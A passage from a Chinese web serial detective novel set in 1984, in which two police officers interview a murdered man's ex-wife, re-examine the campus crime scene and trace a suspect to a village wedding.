不管张少华是该死还是不该死,不管他们家里有什么旧恩怨,也别在这里闹。出门回家,爱怎么吵怎么吵,那是家庭纠纷,就不关他们的事了。 楚隽道:“嗯,老江,先把梅曼彤带出来。” 张少华父母伤心,让他们最后再和儿子相处一段时间。梅曼彤既然不伤心,就可以直接问了。 楚隽做事是妥当的,甚至找了个会带孩子的,先将梅曼彤的儿子带去隔壁玩一会儿,免得孩子听见什么不该听见的话题。 梅曼彤被带了出来,去了小会议室。 “梅曼彤。”楚隽道:“我想和你了解一些和张少华有关的情况。” “好。”梅曼彤很爽快:“警察同志,你们有什么想问的,尽管说。” “想问一下,张少华这个人,是怎么样的一个人?” 到目前为止,他们还没有接触过对张少华了解的人,梅曼彤是第一个。 不过从她的状态看,她给出的消息要斟酌着看。对张少华恨之入骨,自然是说坏不说好,她眼中的张少华就是一个大恶人。 这种怨恨会直接影响她的回答的真实性,倒未必是有意说假话,而是因为讨厌一个人,自然就只能看见他的坏处,所以无论对方做什么事情,从她口中说出来都是坏事,都是带着恶意的。 果然,一听楚隽问起张少华,梅曼彤就开始滔滔不绝的说了起来。 他们离婚的时间并不长。 结婚的时间倒是有十几年了。 十几年的婚姻,儿子都已经九岁了。一般来说,这个家庭是相对稳定的,在有孩子的情况下,夫妻离婚会很慎重,特别是女方。 女性在婚姻中总是相对处于弱势,孩子更是软肋。十月怀胎生下来的孩子,和一哆嗦生下来的孩子,注定在父母心中的重要性是不一样的。 梅曼彤也是如此。 梅曼彤说:“张少华这个人,他有一点小聪明,虽然大钱赚不到,但是能赚点小钱。我家的生活一直都还不错。但是这个人太花心,他在外面乱搞男女关系,从我们结婚一年之后,就没断过乱七八糟的事情。” “我第一次发现他出轨的时候,就想要和他离婚,可是那时候我发现,自己怀孕了。” “我舍不得孩子,当时他的认错态度有特别好,我爸妈,他爸妈,又都劝我,觉得孩子是无辜的。于是我原谅了他。” “没想到有一次就有无数次,后来,他身边的女人不断。我都为了孩子忍了下来。” 楚隽道:“忍了十年,那让你下决心离婚的原因是什么?” “也是孩子。”梅曼彤道:“有一次我带孩子出门,正好碰见他和外面的女人在吃饭。当时孩子就问我,那个人是谁。当时我一下子就懵了,我完全不知道怎么解释……我瞬间就觉得,绝对不能这样下去了。他越来越放肆,早晚有一天,这种事情会传到孩子面前,等到了那个时候,对他的伤害,一定比我们离婚给他的伤害更大。” 梅曼彤非常清醒。 “就在那天回去,我跟他提出了离婚。” “他同意了?” “开始是不同意的,但是我威胁了他。”梅曼彤说:“他这些年做生意,虽然看着都是合法的。但是坦白说,真要查起来,有几个生意人是完全合法的?我跟他结婚十年,他那点事情我全都清楚。” “我跟他说,要么离婚,我带孩子走,以后随便他做什么都是自由的。要么,我就把他生意里的那点事情都抖出来,虽然不至于被枪毙,但肯定要进去蹲几年,大不了鱼死网破,大家都别想过好日子了。” 能在自己丈夫惨不忍睹的尸体面前笑出声的女人,不可能是一个懦弱的人。 梅曼彤要跟张少华鱼死网破,张少华害怕了。他知道自己的妻子,是真的能做出这种事情来。 于是张少华不得不答应了。 两人顺利离婚。 离婚之后,梅曼彤立刻带着孩子离开了京市。 “我这些年有些积蓄,我也有技术可以工作,虽然不如他赚的多,但养孩子还是可以的。”梅曼彤说“离婚之后,除了每个月汇款,我和张少华没有任何联系。一直到昨天,你们给我打电话,我才知道他死了。” 楚隽道:“那孩子呢?你们离婚这么久,他没有去见过孩子吗?” “没有。”梅曼彤淡淡道:“没离婚前,他对孩子的重视也就那样。离了之后,怎么可能在意。他跟我说,反正不管他费心不费心,都是他的儿子,所以何必费心呢。只要等孩子长大以后,再给他点钱,拉拢一下就行了。” 这样的父亲,这样的丈夫,也难怪张少华死了之后,梅曼彤笑的那么大声。 楚隽道:“那你知道曹红霞吧?” “知道。”梅曼彤道:“是我给儿子请的家教,清大的女学生。她……怎么了?” 梅曼彤脸色一变,不可置信道:“难道张少华是她杀的?” “你为什么会这么想?” 梅曼彤缓缓道:“因为……我曾经见过张少华用一种,不太好的眼神,看着曹红霞。当时我心里就觉得不安。” 第197章 校园鬼影,坟前蹦迪 “说仔细点。”楚隽道:“在曹红霞给你儿子辅导功课的那段时间,张少华有没有对曹红霞做什么。” “没有。”梅曼彤说:“张少华对儿子的学习并不关心,他大部分时间回家都挺晚的,有时候还不回家。曹红霞辅导我儿子的时间他通常不在家。就算在家,我也是一直在一旁盯着的,他不至于那么明目张胆。我和他离婚之后,就辞退了曹红霞,然后我就搬走了。” 张少华在和梅曼彤的婚姻存续时期没有对曹红霞出手,但显然还是上了心。 只等和梅曼彤一离婚,梅曼彤带着孩子离开之后,就立刻动了手。 他其实不算什么有权势的人,但是心思很深,他对曹红霞用的这一招就是精准拿捏性格。但凡是换一个性格的,都拿捏不住。 比如安暖这种的,说不定第一次威胁就会闹个鱼死网破。 只是可惜了,梅曼彤和张少华的夫妻关系十分的差,别说离婚后没有联系。就是离婚之前,虽然没有分居,但也好不到哪里去。 张少华的父母就要伤心多了,从停尸房出来,仿佛又老了几岁。 梅曼彤已经结束了问询,但是没着急走,看样子是有话对张少华父母说。 看见他们出来,梅曼彤眼前一亮就要过去,但是被安暖一把拽住了。 “等一会儿。”安暖说:“等我们问完了,你们再私下说。” 梅曼彤点了点头,退到了一旁。 安暖松了口气。 看着和前婆媳的关系这么糟糕,她怕梅曼彤又会说出什么刺激人的话来,等她说完了,张少华父母可能就被气得快死了,问不出什么话了。 楚隽又和张少华父母聊了一会儿。 很遗憾,也没有什么收获。 张少华的父母一直没有和他们住在一起,他们在京市周边的农村生活,张少华早些年便一个人来京市闯荡,然后结婚生子。赚了钱之后,也只是偶尔往家里寄钱,并没有将父母接来。 这个年代通讯不方便,张少华父母家里又没有电话,就算其实离得不远,联系也很少。张少华也就是逢年过节才会回去一趟,一年跑不了几趟。 他们甚至不相信陈少华在外面的那些破事儿,一直觉得儿子儿媳妇离婚,是儿媳妇的错。 有相当一部分父母对自己的儿女有迷一般的信任,无论发生了任何事情,都是别人的错,我的孩子,是不会错的。 但是这个社会,并不会像是家庭一样,永远无底线的包容一个四十岁的孩子。 该死还得死。 楚隽和张少华父母聊完之后,便让人带他们去办手续。 他们一时还不能离开京市,还需要处理张少华的后事。毕竟是两位老人,老年丧子实在可怜,也不能放任不管。 不过这一次,就不能阻止梅曼彤和他们说话了。 梅曼彤就等在警局外面,等他们出了门以后,就迎了上去。 安暖没有那么八卦,她在刑警队的窗户上,看见几人说话。 然后吵了起来。 不知道在吵什么,但梅曼彤肯定赢了,牵着孩子得意洋洋的走了。 张少华父母在原地又站了一会儿,这才慢慢的走了。 卢瑞泽在一旁叹了口气。 “这梅曼彤的脾气也太可怕了,不管怎么说,好歹曾经是她公公婆婆。又一把年纪,老年丧子。装,也得装一下难过吧?” 安暖看了他一眼,提出反对。 “话不是这么说。”安暖说:“就张少华这为人,他父母还维护的样子,没离婚之前,梅曼彤的日子过得一定很憋屈。离婚不是原谅,是逃离,如今仇人死了,这态度很正常啊,要是装作舍不得,那才虚伪又可疑。” 如果关系非常差,却要装作感情好,反倒是可疑的。 如今梅曼彤在所有人面前摆出一副,死得好,死得妙,死得呱呱叫的态度来,反而一点也不做作。 未经他人苦,莫叫他人善,不是所有的亏欠,都可以用死亡一笔勾销。 卢瑞泽想了想,点了点头。 “也是,这么看,他们是没有什么嫌疑的。” 张少华的父母,他们没有动机。前妻,虽然有恨,但恨不是动机。他们的关系已经在离婚的时候结束,她已经开始了自己的新生活,就算是有恨,没有新的矛盾产生,这恨也不至于让她会来杀人。 如今最可疑的,还是曹红霞和庄致轩。 但这两人翻来覆去地问了,没有漏洞。 安暖坐在楚隽办公室的沙发上,又从头看一遍案件卷宗。 各种问话笔录,从现场拍的照片。 她曾经经历过不少这样的案子,一筹莫展,山穷水尽,好像一点线索都没有,每一条路都走到了尽头。 让人像无头苍蝇一样,不知道从哪里下手才好。 这时候,没有其他办法,一个是重返案发现场,再做一次检查。 有些细节藏得太深,即便是最优秀的刑侦人员,也会有遗漏。 另一个,就是再梳理一遍所有线索和证据。 正想着,楚隽从外面进来了。 安暖看见他,突然想起来:“对了,刚才我路过法医室,没看见董法医,她还没来上班。那天没见着大哥,后来呢,你联系上了吗?” 本来那天晚上是打算再去找一下翟琛的,结果出了庄致轩的事情,然后就一直忙着,一时也没顾上别的。 董紫莺没来上班,应该没什么事儿吧? 毕竟是楚隽的亲大哥,安暖觉得,自己忘了这事情,楚隽应该是没忘的。 “哦,联系上了,忘了跟你说。”楚隽说:“大哥说,这事情他能处理,就让他处理吧。” 那毕竟是大哥,也不是儿子,楚隽虽然觉得翟琛和董紫莺之间的事情挺难办的,但是作为兄弟,能做的也就是开导开导,出出主意,最多陪着喝几顿酒。 还能怎么样呢? 感情的事情,总不能捏着脖子帮他处理吧。 “那就好。” 安暖也只是顺口一问,没出意外就行,失恋不算意外,她不关心。 第198章 校园鬼影,藏尸 楚隽也在安暖身边坐了下来。 “刚才和老江商议了一下,我们都觉得,目前的线索都有些不痛不痒,像是差了点什么。”楚隽将目前出现在案件中几个人的照片一一摆开:“都有些隔靴搔痒的意思,我怀疑,在这个案子里,有没出现的人。” 凶手,未必就一定是现在看见的这几个。 “嗯,我也在想这个。”安暖说:“其实这案子里,还有一些没搞清楚的事情。比如说,在现场发现的,庄致轩的项链。那条项链庄致轩说自己是一直放在抽屉里的,并没有日常戴在脖子上的。这一点是可信的。” 一条项链,常年戴在脖子上,会沾上油脂,洗澡的时候还会沾上肥皂,洗发水,等等。 但这条银纸项链经过检验,并没有留下新鲜的痕迹。 它被放在抽屉里,已经有一些日子了。 而且,即便当天晚上,庄致轩不知道为什么突然就想起来把项链带上了,然后在和死者张少华的搏斗中,被拽了下来,那么也一定是有痕迹的。 比如,锁扣上有被拉扯坏的痕迹,或者,硬拽下来,庄致轩的脖子上可能会有摩擦伤痕。 但是什么都没有。 “这一点无论如何都说不通。”安暖说:“为什么这条项链会在现场?它也不可能是庄致轩送给曹红霞的礼物。女生宿舍里舍友的穿戴是没有秘密的,曹红霞的舍友都可以作证,没有见她戴过这样一条项链。” 不管男生宿舍还是女生宿舍,朝夕相对,都是很难保存秘密的地方。 除非这条项链曹红霞一直偷偷摸摸的也放在柜子深处,从来都没有拿出来过,不然的话,总有人看见。 楚隽道:“庄致轩和曹红霞之间,确实不像是有联系。他们的身份,一个是学生,一个是老师,如果他们之间真的有过分亲密的关系,一定会借着师生关系的便利联系。比如送作业,请教题目,等等,这都是不会叫人起疑心的。但是一定会被其他同学看见,可是并没有。” 师生恋,这可是个大帽子,不能乱扣,不能想当然。 庄致轩和曹红霞之间,除了上课期间的交流之外,没有任何其他的交流。不能因为案件需要他们有奸情,就先入为主地认为他们有奸情。 现场多了一条项链,少了一点什么? 楚隽道:“我打算再去现场看看。” 安暖说:“我也去。” 一天天过得太快,这会儿已经五点了,从警局过去,天又快要黑了。 反正赶不上天亮,两人干脆去食堂吃了晚饭,再一起过去。 这两天出了命案,学校里有些草木皆兵,好在楚隽的证件是通行证。 两人一人拿了个手电筒,回到了案发现场。 案发现场被围了一圈隔离绳,两人走了进去。 已经搜证过一遍的地方,二次搜证,也不一定能找到新的线索。 安暖用手电照着张少华被拽出来的山洞。 那山洞很小,一个人躺平了,勉勉强强能塞进去一半。如果是很瘦很瘦的人,可能进去得容易一点。如果是魁梧一些的,难免要磨破一些皮肉。 张少华不算魁梧的,但是他被拽出来的时候,裤子上被划破了几个口子,皮肉也被划破了一些。 安暖蹲下身,趴在地上,用手电照着洞里,来来回回地看。 洞就是个普通的洞,没有什么蹊跷。 然后她在一旁盘膝坐下。 “楚隽,你说,凶手把张少华杀了之后,把人塞进这洞里,是什么心态呢?” 他们之前觉得,这是一起情杀。 张少华的死,和曹红霞的感情纠葛脱不了关系。 后来,因为张少华身上所有值钱的东西都没剩下,也有可能是劫财。 但劫财的话,只要将人勒死就行了,何必再往洞里塞?这是一个多余的举动。 杀人现场,就算是再偏僻,凶手一般也不会做多余的事情。 他们需要尽快逃离现场,没多待一分钟,被抓到的可能性就多一点。 被杀是恐惧,杀人也是恐惧,人在面对恐惧的时候,是会本能地逃离的。 楚隽说:“有一种可能。” “什么?” 楚隽也在安暖身边坐下。 “藏尸。” “藏尸?”安暖还从未往这个方向想过。 “对。”楚隽说:“你看这个山洞,外面宽敞,里面窄,深度不够,所以尸体被塞进去,只塞了一半,就塞不动了。” “嗯。” “我们知道,是因为我们将人拽了出来,而且,仔细地看了这个山洞,所以知道这个山洞其实很小。常来这里的同学,应该也是知道的。但是如果只是一个偶尔路过的人,又是在黑暗中,他乍一眼看见这个山洞,就不会去响山洞的大小。” 说的也不无道理。 安暖想了想:“可是这山洞是敞着的,就算将尸体塞进去,又有什么意义?还是会被发现的,最多多等几天吧,尸体臭了,自然就会被发现了。” “那也要时间不是?那就不会被立刻发现。现在的问题,等尸体腐烂发出味道被发现,至少也要四五天时间吧。” 四五天时间,和马上被发现,确实还是有一些区别的。 “不仅仅是时间问题。”楚隽说:“我经历过一些案子,藏尸的地点其实没有那么严谨。凶手也不是神仙,特别是一些激情杀人的,杀人是突发事件。他们在杀人之后,并不能迅速找到合适的藏尸地点,但是尸体就这么明晃晃的敞着又不太好,于是会退而求其次。” 其次就是,藏起来再说。 有合适的地方当然好,没有合适的地方,随便藏一下,也可以自欺欺人让自己心安一些。 安暖立刻就找到了楚隽这话中和之前推测的矛盾。 因为不常出现的凶器,粗麻绳,他们都倾向凶手是有备而来。 可如今楚隽的说法,凶手是临时起意,才会对尸体的处理这么含糊。 那致死的粗麻绳,就是凶手随身携带的东西。 不是每个人出门在外的时候,都会带根麻绳的。 凶手带着麻绳,是为什么? 喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:()八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第199章 校园鬼影,未知访客 在学校里,什么人会随身携带粗麻绳,半夜的时候,路过校园偏僻的角落? 楚隽找了秦鑫磊。 “咱们学校,晚上也是有门卫的吧,是随便什么人都能进的吗?” “那不能。”秦鑫磊说:“但是……” 这人还挺实在的,也没有在楚隽面前为了面子,大包大揽说自己管理得多滴水不漏。 “但是什么?” “但是,就算几个门都有门卫,晚上也有队伍巡逻,但学校那么大,肯定有顾不过来的地方。学校四周都有墙,咱们这是学校不是监狱,墙也就是个意思,真要是想进,也不是不能爬。” 秦鑫磊说的很中肯。 “你们逮着过爬墙进学校的人吗?” “那是有的。” “都是些什么人,怎么处理?” 秦鑫磊说:“一般是学校附近的居民,大部分是为了抄近路。被抓到后,核实一下身份,教育两句,送他们出去。也没有什么别的办法,就算是报公安,那也不至于。” 很多有前门后门的单位就是这样,天生的近道。 不管再管得森严,也抵不住周围群众想省几步路的决心。 这个倒是能够理解。 “其他呢?还有什么人?” “还有……小偷?”秦鑫磊迟疑道:“也不是没有,但是少。我在学校这些年,碰到过两回。小偷的话,就抓住送公安了。” 抄近道的居民,偶尔光顾的小偷,这两者是对这假山不熟的人。 还有可能的,不听话的学生,校园内的教职人员,这两类人,是对学校熟悉的。 对学校熟悉的人,不会做出将死者尸体塞进一个小洞这样费力又多余的动作。 难道是回家晚的周边居民? “还是很奇怪。”安暖说:“难道张少华带了很多钱吗?不然的话,为什么会临时起意呢?” 可惜,张少华到底带了多少钱,现在也没有办法确定。 之前问过曹红霞这个问题,但曹红霞也说不清楚。 她对张少华一直处于一种极度的排斥厌恶中,不愿意花他一分钱。导致她对张少华的经济情况并不了解,只知道他做生意赚钱不少,但具体不知道到底有多少。 他在外面,日常会带多少钱在身上? 是一百,还是一千,还是更多? 多得足够让一个路过的人,动了杀心? 如果是每个月拿工资的人,还能从他家中的存款推测一下。但一个生意人,又不是开店那种稳定的生意,实在很难推测出准确的经济情况。 楚隽和安暖缓缓地往外走。 学校太大了,周边居民很多,说得容易,想找很不容易,这个范围太大了。 安暖道:“要不然,去查一下庄致轩的项链。” 一条一直放在宿舍抽屉里的项链,是怎么出现在命案现场的呢? “小偷?”安暖突然停下脚步,转身道:“楚隽,你说教室宿舍楼,会出小偷吗?” 既然张少华身上会有丢了的钱包,那为什么庄致轩的宿舍里,不能有丢了的项链吗? 目前来说,这是唯一可以合并的疑点了。 “我也考虑过。”楚隽道:“但之前问过宿舍里的其他人,那天晚上,没有人丢东西。庄志轩自己也没丢其他东西,只少了这一条项链。” 没有这样的贼。 庄致轩虽然没多少钱,但是有稳定收入,抽屉里也是有钱包,钱包里也是有点钱的。 如果有贼摸了进去,就算时间紧不翻箱倒柜,至少会把抽屉里的钱包顺手拿走吧? “那就证明,这个贼不是普通的贼。”安暖说:“这不是一个专业的贼,只是顺手牵羊。就好像……我去你家做客,并不打算偷东西,但是看见一个好东西,顺手就塞进口袋里了。” 楚隽沉默了一下。 “你倒是挺会打比方的。” “哈哈。”安暖笑了一下:“意思就是这么个意思,其他不重要。” 举例子这件事情,用身边人来举例,说的特别明白。 “再去一趟庄致轩的宿舍。”楚隽说:“如果是顺手牵羊,那个人说不定是熟人。” 教师宿舍是单间,都有锁。庄致轩如果出门的时候,这个门肯定是锁上的。如果没出门,只是短暂的离开没锁门的话,有人进他的房间,应该是知道的。 但这个人,又不可能是其他宿舍的同事,因为这就不符合,对案发地不熟悉的条件。 一个可以进入庄致轩宿舍,却又对学校不熟悉的人。 只有一种可能,这人是其他同事带进去的,朋友或者亲戚之类。 这样的一个人,在到处都是认识的人的地方,是很显眼的。 两人转身就去了宿舍。 宿舍门口有宿管。 宿管的门口挂着个本子,来访人员登记。 虽然管的不严,但大部分人还是会自觉登记。 楚隽拿了登记本看,在命案当天,有两名访客。 一名叫宿萧萧,是一位女教师的闺蜜,来找她聊天的。 还有一名叫莘志高,是一名男老师的表弟。 这两人现在当然已经不在学校了。 楚隽让宿管带他去找了这位叫邰天纵的男老师。 根据对凶手力气的推断,他们暂时认为凶手的性别是男性。 邰天纵今天没在学校。 “那知道他去哪儿了吗?” “回家去了。”同事说:“他表弟前天过来送了请帖,说是表兄结婚,回去喝喜酒去了,请了三天假。还说回来给我们带喜糖呢?” “知道他去哪里喝喜酒吗?” “知道。”同事说:“就在仙领县下面的一个村。” 同事说出了具体的地址。 这地方楚隽听过,但是没有去过。安暖就别提了,她觉得有些奇怪。 一般人对于同事出门去的地方,就算知道,也很难知道得那么清楚详细,就差到门牌号码了。 “这地方,离的远吗?” “不算太远,但也不近。”同事解释说:“和我们另一个同事是老乡,还帮他捎带了东西回去呢。” 这个年代邮局可以寄东西,但不是特别方便,速度慢不提,大部分人也不舍得花钱。自己跑一趟也很费钱费事,所以有人出门,互相捎带东西,这是很正常的事情。 老乡两个字,就格外珍贵。 同村在外面相见,那就是亲人啊。 第200章 校园鬼影,结婚 要不说老乡见老乡,两眼泪汪汪呢。 安暖要是在这个年代碰见她的老乡,肯定二话不说扑上去,抱着先一顿哭再说话。 楚隽用纸记下了具体的地址和姓名,点了点。 可能需要跑一趟了。 除了有登记的两个人之外,他们问了这栋楼的每一个人,没有人承认自己有访客上门,也确实没有人看见在这宿舍楼里,有不认识的人出没。 离开学校,楚隽说:“这仙领县陶志村,开车过去估计四五个小时,我想去一趟。但你这两天也挺累的,要不先送你回去。” 现在是晚上十点,现在开车过去,半夜到。 “不用。”安暖说:“我跟你一起去,路上还可以给你换班开个车。不过咱们半夜到也不好开展工作吧……要不然明天一早走,早上到?” 这也不是证据确凿去抓人,半夜两三点上门,很容易造成误会。 现在离命案发生,已经过去两天一夜了,虽然还是要争分夺秒,但其实已经过了分秒必争的时候。 警察也是要睡觉的。 楚隽想了想:“我们今晚过去,但是不进村。就在县城里找个招待所休息。明天一早进村。村子里的人起得都早,五点就差不多了。” 晚上三点和早上五点,差不多。 该走的都走了,没走的都还在。 早起总比熬夜更健康。 安暖觉得也行。 当下,两人离开学校,楚隽打了电话回警局报备了一下,让值班人员明天一早将事情转告给江笑愚,便看着地图,往仙领县开去。 晚上要在县城住一夜,但也不必回家再拿换洗衣服了,浪费时间。 自从上次在外面住了一夜,安暖就建议在车上放一套换洗的衣物。用小包装好就一直放在车上。又不占地方又不会脏,以备不时之需。 楚隽倒是不太在意,虽然他在家挺讲究,但是在外面执行任务的时候,几天不洗澡不换衣服这太正常了。 但是安暖不行。 也不是不行,她没有洁癖。 安暖只是单纯觉得,既然条件许可,那就尽量舒服一点。明明可以换洗,为什么不呢?当然如果条件不许可,那也无所谓。她也可以熬得住。 楚隽也没有去过仙领县,好在有地图,也有路标,下乡的路不好找,到县城还是好找的。 半夜一点,到了县城。 两人找了个招待所开了两个房间,抓紧时间休息。 只有三个小时的休息,从县城下到村子还要一个小时。所以他们四点钟就要起来。 夏天的四点钟天已经开始蒙蒙亮了,但秋天,天还是黑的。 四点整,楚隽就敲响了门。 安暖绝对不是一个墨迹的人。 从敲门清醒,到穿衣洗漱,五分钟全部搞定。 这也是楚隽觉得安暖适合这一样的原因,他一直觉得安暖这个人是十分矛盾的存在。 有时候有些娇气,对吃穿住行,生活需求上的挑剔,甚至比他认识的一些大户小姐更挑剔。比如每天晚上洗澡换衣服,洗完澡抹护肤品,喝牛奶换鲜花,别说县城村里的姑娘,就是大城市,也得条件非常好的人家才能做到。 但她就是那么自然,自然地让人觉得天经地义,既不奢侈也不矫情。 可有时候,又完全不挑剔。 矛盾又和谐。 “我好了。”安暖在四点零五分的时候,就开门出来了:“走吧。” 进村的路不好找,昨天晚上楚隽就已经问了招待所的人,给了点钱,让老板帮忙找了个带路的。 五点整,车进了村。 村里人果然都起得早,五点天亮了,已经能看见田间地头有人在忙活,农家的院子里,也有人忙忙碌碌地喂鸡喂鸭了。 有人就好办,村子里就那么些人,别说有姓名,就算是没有,有个特征,都能给你指出来这是哪家,住在哪里。 楚隽开着车问路,大家都不奇怪。 还有人顺口加了一句:“你是来参加婚礼的吧?” 楚隽说:“是。” 于是大家指路指的更放心了。 办婚礼的这户人家姓莘,但并非莘志高本人。而是他的弟弟。 也就是,清大老师的表弟的弟弟,安暖也跟村民随口聊了几句,知道了莘志高是在京市打工的,这次也是因为弟弟的婚礼,所以和有出息的,在清大当老师的哥哥一起回来。 安暖觉得,要是他们家没什么问题,可以让他们搭个顺风车一起回去,也算是给庄致轩的面子。 按着村民的指点,很快,就到了一户庄院前。 都不用走近,就知道在办喜事。 热闹的很,欢声笑语的,还能听见不时有炸鞭炮的声音。 再走近点,就能看见门上贴了喜字。 “这边接新娘这么早啊。”安暖说:“这才五点,也不知道是打算出门,还是已经接回来了。” 别人家里办喜事,他们办案的,就更要慎重一些。 如果没抓错人也就算了,要是抓错人搅黄了人家的喜事,那是要天打雷劈的。 楚隽甚至在车里一阵翻找,找出个红包来,往里面塞了十块钱。 不管钱多钱少,是那么个意思。 将车停在空地上,两人从车上下来,走了过去。 院子大门开着,闹哄哄的,安暖看了一下,没看见安暖新娘子,但是看见了穿着一身新衣服,胸口还扎着花的男人,应该是新郎官了。 新娘应该还没有接来,正在做最后的准备,打算出门去接。 院子里很快有人看见楚隽和安暖进来。 虽然人多又乱,但都是熟人,有生面孔出现,还是十分显眼的。 立刻有人迎了过来。 “你好,两位是……” 楚隽说:“我们是清大的。” 他可真能说。 那人立刻哦了一声:“你们是天纵的同事吗?” 不管什么年代,能出个清大的高才生,都是值得骄傲的事情。邰天纵这个表哥,对莘家也是与有荣焉。 “对。”楚隽说:“他人在吗?” “哦,他刚出去买东西了,没在呢,过一会儿回来。”那人说:“你们在这里等一下吧。” 看看楚隽和安暖的打扮,虽然没什么书香气,可一看就是大城市,条件很好的体面人。莘家的人很客气地请两人进去。 楚隽送上了红包。 第201章 校园鬼影,三金 连红包都准备了,一看就是朋友,肯定不是上门找麻烦的。当下莘家很热情的招待了两人。 让他们不必客气,吃着喝着,随意逛逛。 等新娘接回来,中午设宴,再好好的吃一顿,宾主尽欢。 到都到了,也不着急这一会儿了。 楚隽说:“行,那就打扰了。” “不打扰,不打扰。”莘志高父亲笑呵呵地给楚隽打烟。 接新娘有各种事情要筹备,寒暄几句,莘志高的父亲就去招待别人了。 安暖还没有真实地见过八十年代的婚礼,虽然心里记挂着案子,也觉得十分好奇,跟着到处看。 陌生地方,楚隽是不放心安暖一个人待着的,便跟在她身边。 “这是彩礼啊。”安暖看着院子里扎着红绸的几个箱子:“这彩礼是什么,三转一响吗,还是三大件?” 八十年代的彩礼,她也听说过一点。 所谓三转一响,是缝纫机、自行车、手表,收音机。 三大件,是电视机、洗衣机和冰箱。 现在是一九八四年,安暖掰着手指头算,应该是三大件吧。 不过这是村里,条件可能要差一点。看这院子,莘家的条件也不太好的样子。 “哎,这有个礼单。”安暖道:“我可以看一看吗?” 礼单红彤彤的,就放在桌上。 “当然可以。”莘父说:“农村娶媳妇,跟你们城里不一样,不要笑话才好。” 箱子的盖子是打开的,能看见里面的衣服布料什么的,边上还有一辆扎着大红花的自行车。 安暖打开礼单一看,上面写着。 自行车,收音机,衣服,缝纫机……看来这家的条件不太好,现在流行的大件家电,电视冰箱洗衣机是半点也没有。 但也有比较值钱的东西,礼单最后写着三金。 金戒指,金项链,金耳坠。 黄金在任何时候都是值钱的东西,而且是可以代代传承的,这几件金饰,很可能是莘家传下来的。旧里没关系,去金铺了可以融了,换一个款式,也焕然一新。 安暖放下礼单,一回头,就看见楚隽也在认真地看。 “这礼单正常吗?”安暖低声道:“这个,我不太懂。” 楚隽没有多心。 安暖是个没结婚的大闺女,因为一直和他有婚约,也没有人给她介绍对象什么的。最多去喝过姐妹同事的喜酒。对彩礼这种东西,又能有多少了解? 其实楚隽也没有亲身经历,但确实知识面广一点。 “正常的。”楚隽说:“说起彩礼,虽然古来有之,但是根据不同的家庭条件,内天差地别。条件好的人家,给车给楼金银珠宝都正常。寻常人家,一点钱,几件衣服,力所能及的都行,只要两家事先商量好,不过是走个形容,重要的还是小两口和和美美的过日子。” 莘家的礼单,不算条件好,但在农村也很正常。何况还有三金,这三金立刻让档次上去了,其他的差一些,也都可以接受了。 安暖点了点头,合上礼单。 楚隽正色道:“暖暖,虽然你父母都不在了,但是咱们到时候结婚,该有的都有,一点都不会少的。你如果有什么想要的,也可以直接跟我说,不必客气的。” 不知道翟琛是会和董紫莺在一起,还是和别人在一起。但是不管他和谁在一起,哪怕对方是个家里条件非常好的大小姐,这兄弟俩结婚的聘礼,也得是一样的。 在这一点上,翟家的父母一碗水端得很平。 这事情还早,安暖只是应了一声。 最近有点忙,谈婚论嫁也没提上日程,所以她也没考虑过这个问题。等闲下来再想想,楚家能出足够的聘礼,她也得想办法为自己弄点嫁妆才行啊。虽然最后都会回到自己手里,可事情是这么个事情,谁不要面子呢? 两人在院子里转了转,看了看,随便找了几个人聊天,若有若无的将话题往莘志高身上引。 莘志高家里兄弟俩,莘志高是哥哥,有些木匠的手艺,在外面做工。没有特别固定的地方,跟着几个朋友一起,那儿有活儿就在那儿待着。最近这大半年,都在京市。 回来的少,但是不时的会汇款回来。 莘志高的弟弟,年纪比他小两岁,没有出远门,留在村子照顾父母。 这也算兄弟间的一种合作。 莘志高弟弟成亲的彩礼,其中有一部分还是弟弟赚的。新娘子也是村里人,离的不远,条件也很一般,算是门当户对,谁也别嫌弃谁。 对于莘志高,大家的评级是,孝顺,能吃苦,可能干。 这算是个中规中矩的评价吧,听不出什么异样来。 毕竟莘志高常年不在家,乡亲邻居对他的印象也不是很清晰,大多还停留在小时候。成年之后,最多逢年过节,有时候一年回不了三趟,在家里住不上十天。印象是非常模糊的。 正说着,接新娘的人出发了。 从村里借来了几辆自行车,二八大杠。还有两辆摩托车,扎着大红花。 楚隽和安暖正在一边看着热闹,莘志高父亲突然跑了过来。 “楚同志。”莘志高父亲给楚隽打了根烟,有些不好意思的欲言又止。 楚隽接了烟:“有什么事情,你尽管说。” 虽然他们是来办案的,但人家办喜事,这一点人情味儿他还是有的。 莘志高父亲犹豫了又犹豫,还是鼓起勇气:“是这样的,我看你们是开车来的,能不能帮我家接个亲?汽车咱们村都没有一辆,要是能有汽车接亲,这该多风光啊。我们倒是无所谓,可是儿媳妇嫁给我们家不容易,所以,所以……” 莘志高父亲以为楚隽是儿子表哥的同事,知道这关系其实是隔了一层的,没有那么亲近,所以提出这话的时候,有些忐忑。 汽车精贵东西,村里路又不太好,万一嗑着碰着了,他也赔不起。 而且,这里也没人会开汽车,少不得要请楚隽辛苦一趟。 楚隽对借车给老乡结婚倒是无所谓,当一回司机也无所谓,但他的重点不在这里。 楚隽没有回答莘志高父亲的问题,只是道:“我看邰天纵还没有回来,他不去接亲吗?” 他说自己是邰天纵的同事,直接问莘志高就会有点奇怪。反正他们是一起出去的,直接问邰天纵就行。 莘志高父亲说:“他们买了东西,直接去了新娘子家。就在新娘子家等我们,然后一起回来。” 原来是这样。 楚隽欣然点头:“可以,我开车,给我车上也挂个红花。” 第202章 校园鬼影,抓住你 听楚隽答应的那么爽快,莘志高父亲特别高兴,甚至从怀里摸出个红包给楚隽。 楚隽当然没收,只说这是小事儿一桩,自己也蹭个喜气,没有什么。 他现在是很好说话的。 也从心里希望莘志高不是凶手,要不然的话,一会儿看见他,说不定会心虚害怕。这婚礼,就乱了。 楚隽愿意开车接亲,莘家非常高兴,立刻给车上挂了个大红花。 楚隽将车钥匙塞给安暖。 “你开车。” “好。” 万一一会儿碰见莘志高,不知道是什么情况,楚隽必须腾出手来。 莘志高如果不动声色,他们也可以等一等,毕竟现在还没有确凿的证据。可如果莘志高转头就跑,那就得第一时间抓人了。 楚隽出来办案,身上是带了枪的,必要时候,甚至可以开枪。 安暖上了驾驶座,让众人一阵唏嘘。 大城市就是不一样,那么年轻的姑娘家,也会开车。 摩托车在前面带路,安暖开车在后面跟着。车开得很慢,后面跟着几辆自行车。众人在晨光中,去接新娘了。 莘志高的弟弟坐在车后面,十分兴奋。 别管是借的还是怎么来的,能有一辆车接新娘,这就是倍儿有面子的一件事情。新娘子一定会非常高兴的。 